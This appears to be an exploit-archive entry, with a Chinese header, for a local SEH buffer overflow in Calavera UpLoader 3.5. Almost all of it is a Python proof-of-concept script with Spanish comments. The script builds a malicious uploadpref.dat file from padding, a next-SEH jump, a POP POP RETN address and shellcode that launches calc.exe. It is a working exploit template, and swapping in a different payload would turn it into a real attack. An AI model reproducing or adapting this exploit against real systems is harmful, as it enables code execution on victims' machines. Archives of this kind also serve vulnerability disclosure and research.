发布 2014-03-04 漏洞条目

Calavera UpLoader 3.5 – Local Buffer Overflow (SEH)

Exploit Source

#exploit por Daniel - La Calavera

#Email: Lacalavera@gmail.com

# Para CracksLatinoS

#relleno

rell = "\x41"* 477

rell1 = "\x42"* 4000

head = "\x41"* 8

head += "\x0d\x0a\x31\x0d\x0a"

head1 = "\x0d\x0a"

head2 = "170.1.1.0"

head2 +="\x0d\x0a"

head2 +="\x22"

head2 += "C:\Archivos2de2programa\Uploader!\Uploader!23151EXE"

head2 +="\x22"

# shellcode para calc.exe

shellcode = "\x33\xD2\xB2\x50\x80\xF2\x55\x52\xC6\x45"

shellcode += "\x31\x63\xC6\x45\x32\x61\xC6\x45\x33\x6C"

shellcode += "\xC6\x45\x34\x63\xC6\x45\x35\x2E\xC6\x45\x36\x65"

shellcode += "\xC6\x45\x37\x78\xC6\x45\x38\x65\x88\x45"

shellcode += "\x39\x8D\x45\x31\x50\xB9\x31\x75\x66\x31"

shellcode += "\x81\xF1\x69\x4D\x26\x31\xFF\xe1"

# Next SHE

Nshe = "\xeb\x06\x90\x90"

# POP POP RETN

PPR = "\x38\xbf\x40\x00"

explo = (head + rell + Nshe + PPR + shellcode + rell1 + head1 + head2)

arch = open ("uploadpref.dat", "w")

arch.write(explo)

arch.close

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